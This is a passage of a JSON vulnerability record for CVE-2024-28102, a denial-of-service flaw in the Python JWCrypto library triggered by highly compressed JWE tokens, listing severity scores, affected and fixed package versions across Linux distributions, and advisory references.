{"id":"CVE-2024-28102","aliases":["ALSA-2024:2559","AZL-43360","AZL-43366","DEBIAN-CVE-2024-28102","DLA-3883-1","EUVD-2024-0946","GHSA-j857-7rvv-vj97","OESA-2024-2443","OESA-2024-2444","OESA-2025-1163","PYSEC-2026-1484","RHSA-2024:2559","RHSA-2024:3267","RHSA-2024:4522","RLSA-2024:3267","ROOT-APP-PYPI-CVE-2024-28102","UBUNTU-CVE-2024-28102","openSUSE-SU-2024:13798-1","openSUSE-SU-2026:11712-1"],"status":"published","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","severity":{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0098,"percentile":0.62476,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2024-03-06T20:00:56Z","modified":"2026-11-05T05:36:30Z","fixes":[{"ecosystem":"PyPI","package":"jwcrypto","fixed_in":["1.5.6"],"sources":["ghsa","osv"]},{"ecosystem":"AlmaLinux:9","package":"python3-jwcrypto","fixed_in":["0.8-5.el9_4"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"python-jwcrypto","fixed_in":["1.1.0-1+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-jwcrypto","fixed_in":["1.5.6-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-jwcrypto","fixed_in":["1.5.6-1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"python-jwcrypto","fixed_in":["0.8.0-1+deb11u1"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP3","package":"python-jwcrypto","fixed_in":["1.4.2-3.oe2203sp3"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS-SP4","package":"python-jwcrypto","fixed_in":["0.5.0-5.oe2003sp4"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python-jwcrypto","fixed_in":["0:0.8-5.el9_4"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python3-jwcrypto","fixed_in":["0:0.8-5.el9_4"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-jwcrypto","fixed_in":["1.4+root.io.1","1.4+root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.5.5"},{"fixed":"1.5.6"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"python3-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8-5.el9_4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.0-9"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.0-9"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-1+deb12u1"}]}],"versions":["1.1.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.6-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.6-1"}]}]},{"source":"osv","ecosystem":"Debian:11","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.0-1+deb11u1"}]}],"versions":["0.8.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.6"}]}],"versions":["0.2.0","0.2.1","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.6.0","0.7","0.8","0.9","0.9.1","1.0","1.2","1.3","1.3.1","1.4","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5"]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP1","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.2-3.oe2203sp1"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.2-3.oe2203sp3"}]}]},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0-5.oe2003sp4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.6"}]}],"versions":["0.2.0","0.2.1","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.6.0","0.7","0.8","0.9","0.9.1","1.0","1.2","1.3","1.3.1","1.4","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5"]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.8-5.el9_4"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python3-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.8-5.el9_4"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"bind-dyndb-ldap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:11.6-5.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"bind-dyndb-ldap-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:11.6-5.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"bind-dyndb-ldap-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:11.6-5.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"custodia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-3.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-client-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-client-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-client-epn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-client-samba","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-healthcheck","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.12-3.module+el8.9.0+19692+fac39a03"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-healthcheck-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.12-3.module+el8.9.0+19692+fac39a03"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-python-compat","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-selinux","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-server-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-server-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-server-trust-ad","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ipa-server-trust-ad-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"opendnssec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.7-1.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"opendnssec-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.7-1.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"opendnssec-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.7-1.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.0-2.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-kdcproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4-5.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-qrcode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1-12.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-yubico","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.2-9.1.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-custodia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-3.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-ipaclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-ipalib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-ipaserver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-ipatests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+21691+df63127d"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.0-2.module+el8.10.0+21692+c9b201bc"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-kdcproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4-5.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-pyusb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.0.0-9.1.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-qrcode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1-12.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-qrcode-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1-12.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-yubico","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.2-9.1.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"pyusb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.0.0-9.1.module+el8.9.0+18920+2223d05e"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"slapi-nis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.60.0-4.module+el8.10.0+20723+03062ebd"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"slapi-nis-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.60.0-4.module+el8.10.0+20723+03062ebd"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"slapi-nis-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.60.0-4.module+el8.10.0+20723+03062ebd"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"softhsm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.0-5.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"softhsm-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.0-5.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"softhsm-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.0-5.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"softhsm-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.0-5.module+el8.9.0+18911+94941f82"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.4::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.5.8-1.el8ap"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.4::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.5.8-1.el9ap"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"bind-dyndb-ldap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:11.6-5.module+el8.10.0+1819+0aeba2f1"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"custodia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-3.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"ipa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.13-9.module+el8.10.0+1818+2dfda7a6"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"ipa-healthcheck","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.12-3.module+el8.9.0+1433+5bd2f890"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"opendnssec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.7-1.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.0-2.module+el8.10.0+1818+2dfda7a6"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-kdcproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4-5.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-qrcode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1-12.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-yubico","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.3.2-9.1.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"pyusb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.0.0-9.1.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"slapi-nis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.60.0-4.module+el8.9.0+1573+39ab85f4"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"softhsm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.0-5.module+el8.9.0+1371+ffa84eb9"}]}],"bundled":2},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4+root.io.1"},{"fixed":"1.4+root.io.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.3.2-1","0.4.2-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.0-1","0.6.0-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.0-1","1.0.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-1","1.5.4-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.6-1","1.5.6-1.1","1.5.6-1.2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.6-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0-1.1"}]}],"bundled":3}],"products":[{"vendor":"debian","product":"debian_linux"},{"vendor":"latchset","product":"jwcrypto"}],"references":[{"url":"https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","article","report"]},{"url":"https://www.vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103","tags":["Exploit","Press/Media Coverage","Technical Description","web"]},{"url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00026.html","tags":["Mailing List","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28102","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-j857-7rvv-vj97","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2024:2559","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-28102","tags":["report"]},{"url":"https://bugzilla.redhat.com/2268758","tags":["report"]},{"url":"https://errata.almalinux.org/9/ALSA-2024-2559.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28102.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-28102","tags":["advisory"]},{"url":"https://github.com/latchset/jwcrypto","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-2443","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3102","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-2444","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1163","tags":["advisory"]},{"url":"https://pypi.org/project/jwcrypto","tags":["package"]},{"url":"https://access.redhat.com/security/updates/classification/#moderate","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2268758","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_2559.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-28102","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHSA-2024:3267","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2260843","tags":["report"]},{"url":"https://issues.redhat.com/browse/RHEL-28842","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-29908","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_3267.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2023-6681","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-6681","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-6681","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2024:4522","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2279476","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2282114","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_4522.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-34064","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-34064","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064","tags":["advisory"]},{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-35195","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-35195","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195","tags":["advisory"]},{"url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56","tags":["article"]},{"url":"https://errata.rockylinux.org/RLSA-2024:3267","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2024-28102","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-28102","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-80179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84185","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2024-28102","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-06T21:09:58.064Z","modified":"2024-09-09T13:06:44.24Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:34:18.597034Z"}],"euvd":[{"id":"EUVD-2024-0946","description":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","status":"published","published":"2024-03-06T21:09:58Z","modified":"2024-09-09T13:06:44Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-03T00:56:00.719005Z"}],"ghsa":[{"id":"GHSA-j857-7rvv-vj97","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","description":"## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## 